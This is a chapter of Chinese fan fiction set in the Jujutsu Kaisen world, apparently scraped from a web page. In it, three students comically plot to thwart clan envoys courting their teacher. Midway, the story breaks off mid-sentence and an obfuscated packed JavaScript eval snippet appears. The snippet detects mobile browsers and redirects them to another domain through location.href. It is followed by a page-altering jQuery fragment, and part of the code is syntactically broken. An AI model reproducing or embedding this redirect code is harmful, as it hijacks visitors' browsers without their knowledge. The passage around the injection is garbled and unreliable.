仅凭这些描述,一年级的三位学生便嗅到一丝不同寻常的气息。 “杰,你怎么看?” 三人像叠汉堡一样在墙角探出头,层层叠叠,只露出眼睛,偷窥四人的背影。五条悟下巴搁在夏油杰头顶,神情凝重。 那边四人边走边聊,有说有笑(当然海月遥既不负责说,也不负责笑)。 被压弯腰的夏油杰:…… 比起这个问题,他更希望五条悟能先直起腰,不要压在他背上。毕竟他也不能压到家入硝子身上,只能弯着腰独自承受一大只白毛的重量。 “……说不定是新来的老师?”夏油杰提肘,给五条悟侧腹一肘击,却被无下限挡住。他极轻地“啧”了一声,又正色回答五条悟的问题。 “那硝子怎么看?”五条悟又试图问汉堡最底层的家入硝子。 “我觉得他们不太像老师。”家入硝子伸出手,指向其中一位白发男子的背影,“那个人的五官和五条很像,应该是五条家的人。御三家的成员很少会到高专来当老师。” “而且,这个年纪也不太可能是学生。”夏油杰补充道。 不是老师,也不是学生…… “管它呢,我们直接过去问不就好了!”五条悟左思右想也得不出结论,索性一手一个,绑架两位同期就走了过去。 注:夏油杰是被勾着脖子,家入硝子是被圈住腰提溜过去的。 她面色平静地在半空晃荡手脚。 最后还是夏油杰把她解救出来。 “悟,不能这样对女孩子。” 他的指责刚说出口,就被五条悟用“我们平常带着硝子躲夜蛾老师不就是这个动作”的眼神看了一眼。 夏油杰回以“以前是以前,现在是现在”的眼神。开玩笑,他们怎么能就这样带着硝子去海月老师面前晃悠?更何况那里还有三个疑似有其他目的的陌生人!这样过去不是明摆着被比下去了吗? 家入硝子露出“你们都是人渣”的眼神。 他们三人装模作样地凑过去时,却听到刚刚家入硝子随手一指的白发男子笑着说道:“遥,别叫我五条君了,悟也在高专。俊介,你直接叫我的名字就好。” 原本打算询问海月遥的五条悟瞬间改变计划。他一把勾住五条俊介的脖子,在海月遥疑惑的目光中将他“绑架”走,和其他两位同期又窜回原来的墙角。 海月遥:? 现在流行绑架吗? 她疑惑地看着她那三位学生“肇事逃逸”的背影,然后又毫不在意地转过头。 …… 现在,五条俊介正被三人团团围住。 三人:盯—— 尽管被三人团团围住,他却依旧保持镇定,只是初露惊讶后又漾起笑意,隐约可见尖锐的虎牙。现在凑近看,他确实看着与五条悟有几分相似,白发蓝瞳,五官精致俊秀。然而,他的双眸并不像五条悟那般苍蓝如洗,而是偏向更为深沉宁静的湖蓝色调。 “原来是悟少爷啊。说起来,还没和您正式打过招呼。”此刻,他与先前的轻佻态度截然不同,甚至称得上毕恭毕敬。他本想依礼向另外两位同样声名显赫的高专学生问好,却被五条悟打断。 “——你为什么在这里?还有,另外两个家伙是怎么回事?”五条悟双手环胸,先发制人。 “悟少爷不知道吗?”五条俊介似乎颇感意外,“我还以为那位大人已经……”在五条悟不耐烦的神情下,他迅速改口:“我和另外两位是暂时跟随海月大人学习咒具制作技术的。” “那位大人和总监会的大人们达成交易。”他垂下眼帘,“她自愿捐赠一批咒具,条件是减少咒术高专的任务量。” “哈?”五条悟相当不满,长长地“哈”了口气,“这算什么?” 家入硝子和夏油杰又想起来海月遥反复问过他们“是不是太忙了”。 可是,老师完全没必要做到这一步啊? “真的是吓我一跳啊,悟少爷。”五条俊介扫视三人各异的表情,继续用夸张的语气强调,“那位大人一次性就拿出了抵得上半个五条家忌库的咒具,真是出手阔绰。” “而后,上面的长老们好奇这批咒具的来源,一问之下,那位大人便称是自己制作的。” 说到这里大家也懂了,这是既盯上了“鱼”,又眼馋着“渔”。 “确实如此。”五条俊介肯定他们的猜测,“那位大人并不介意传授咒具制作方法,但要求人数仅限三人以内,多了她嫌麻烦。所以各家都各自派遣一名代表,而我便是五条家被选中的那一个。” “学技术恐怕只是表面吧?”夏油杰斜睨他一眼,冷冷地开口。 要学咒具技术,为什么都是派的适龄的男青年?还个个容姿端正?夏油杰扫了一眼五条悟——既然悟也不太认识这个人,那么他很有可能是五条家的旁支。 从家族中挑选出地位不高的美青年去讨好老师?夏油杰对他们的如意算盘心知肚明,甚至感到强烈的侮辱。 五条俊介先是沉默片刻,随即坦然点头承认,笑着说道:“毕竟那位大人给出的报酬太过丰厚,各家都不想错过这个拉拢人才的机会。”他刻意在“拉拢”二字上加重语气。 仅仅因为老师是普通人,就忽视她本身的才华,企图用这种不入眼的手段……夏油杰自然也听出五条俊介话中的弦外之音,他眯起眼睛,笑容难辨喜怒。 “那为什么要派你来?”五条悟突然问道。 五条俊介:“嗯?” 他一脸不爽,指向自己:“五条家不是有我了吗?” 其他三人:嗯??? “诶……真的假的……五条你……”家入硝子的视线在他脸上徘徊,试图捕捉到一丝玩笑的痕迹,但她遗憾地发现,他是认真的。 “什么嘛,硝子为什么要这样看着我?”五条悟被她盯得发毛,反呛一声。“本来就是,我是天才,什么东西都一学就会。而且,老师都说过她喜欢我呢。”说着他又得意起来。 家入硝子暗自腹诽:老师也这么对她说过,好像是谁没有一样。 夏油杰:我没有-_-I “咳咳。”五条俊介故意咳嗽几声,将几人的注意力拉回,“如果这是悟少爷的想法的话,我也会全力协助您的。我已经提前调查过另外两人的资料。”说着,他不知从何处掏出两份资料递给五条悟。“不过,我现在不能继续留在悟少爷这边,毕竟我也有任务在身。” “……拉拢老师?” “不。”五条俊介的语气变得轻佻起来,朝三人wink一下,“是捣乱哦~”他转过头,往那三人所在的方向瞥了一眼,“呀~可不能让加茂和禅院的家伙得逞。之后见,悟少爷,以及夏油君和家入桑~” 几人看着他雀跃地喊着“遥酱等等我嘛”小跑回去。 三人:…… 家入硝子神情平静:“你们怎么看?” “当然是捣乱啦!”五条悟正义凛然,“怎么可能让老师被那些家伙骗走啊!” 夏油杰低头扫了眼五条悟手中的资料表,又望向那边几人交谈的身影,语气诚恳:“我不觉得老师是会被这种小伎俩骗的人。” 说实话,他根本想不到海月老师坠入爱河的样子。她实在是过于疏离,过于冷淡。甚至可以说,夏油杰不认为她会轻易对人类动情——除非那个人有着足够引起她兴趣的特质,不然也只能求得她短暂的一瞥。 那边的四人交谈仍在继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680708|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 海月遥:“刚刚是?” “我刚才看到悟了,和他打招呼。”五条俊介说道,“说起来,我们刚才还在讨论称呼的问题呢,遥酱怎么又叫我五条君了。” “俊介。” “谢谢~” “不。”听觉敏锐的夏油杰立马改口,“我们现在就商量作战计划。” “吃醋了。”家入硝子悄悄和五条悟咬耳朵。 “小眼睛就是小气。”五条悟顺着她的话对夏油杰进行人身攻击。 夏油杰:“喂!” 他可不是吃醋,他有什么醋好吃的。只是那家伙几句话就让老师改了口,难道另外两个同期就不觉得这样不妥吗?老师这种无所谓的态度,很容易让那边无耻的家伙占便宜! 而且,开什么玩笑!老师至今还叫他夏油君呢!凭什么这个新来的家伙,只和老师相处了一天,就能被老师直呼其名! “喊名字就是被占便宜了吗?”家入硝子用“没想到你这种人渣还有这么清纯玉男的一面”的眼神瞥了夏油杰一眼。 然而,这次她却没有得到旁边队友的回应。五条悟支着下巴,表情愈发凝重:“硝子……老师之前跟我说过,好感度到了就会改称呼……” 家入硝子配合地露出凝重的神情:“那可真是个大问题……那个五条竟然这么快就完成了指标……” “说起来,夏油现在还是被老师叫‘夏油君’吧?”她看向一旁的夏油杰,补刀。 “喂!” …… 打闹暂时告一段落。 三人正仔细研究着手中的资料。由于五条俊介已经“弃暗投明”,所以他们现在需要防范的只有另外两个家伙。 首先,三人一致认为来自禅院家的禅院直彦毫无威胁。他五官端丽,面皮偏薄,眼皮内敛,透出超脱性别的美艳。单从外貌来看,他绝对是那边三人中最出色的,但一年级的三位同学一致认为他是最受海月老师反感的。他那副傲慢的样子,开口时总让人觉得他要说出什么刻薄的恶毒话。尽管他也会客客气气地称呼“海月桑”,但骨子那种瞧不起人的劲简直就能从薄薄的皮肉里透出来。 家入硝子:“没嘴巴。”这是人身攻击。 夏油杰:“蠢货。”这是智力攻击。 五条悟:“欠揍。”这是……物理攻击。 第二个人是加茂雅治。即便在高专,他也穿着过于正式的深蓝纹付羽织袴,衣料华贵,细腻的纹样隐约可见。他面容清秀,双眸狭长,身量高挑,及腰的黑发被纯白丝带一丝不苟地束起,透出一种如初春细雨滋润过的翠竹般的气质。三人亲眼目睹他眯着眼睛,挂着微笑,柔声说道:“海月老师。” 家入硝子:“没眼睛。” 夏油杰:“心机。” 家入硝子看向夏油杰,还没把“欠揍”两个字说出口的五条悟也不明所以地看向夏油杰。 夏油杰疑惑地笑着:“怎么了,硝子?” 家入硝子扯扯五条悟的袖管,他配合地弯下腰,和她咬耳朵。 “你不觉得他和夏油有点像吗?”“这么一说……确实!”“笑的时候都看不见眼睛。”“确实!”“心机重的部分也……”“我懂我懂……”这两人不仅当面蛐蛐他,还时不时瞥他几眼。 夏油杰:…… 他和那个装腔作势的家伙哪里像了?! “偷偷摸摸找老师要当助手。” “还每次都拖到饭点才走,这样就能和老师一起吃饭。” “说起来,以前还背着我们去老师家。” “狡猾!”x2 “狡诈!”x2 “心机男!!!”x2 “……你们俩到底是哪边的。” “啧,先放过你。”五条悟耸肩。 家入硝子摊手:“遗憾~” 夏油杰:“喂!” 总之,捣乱小分队,正式成立!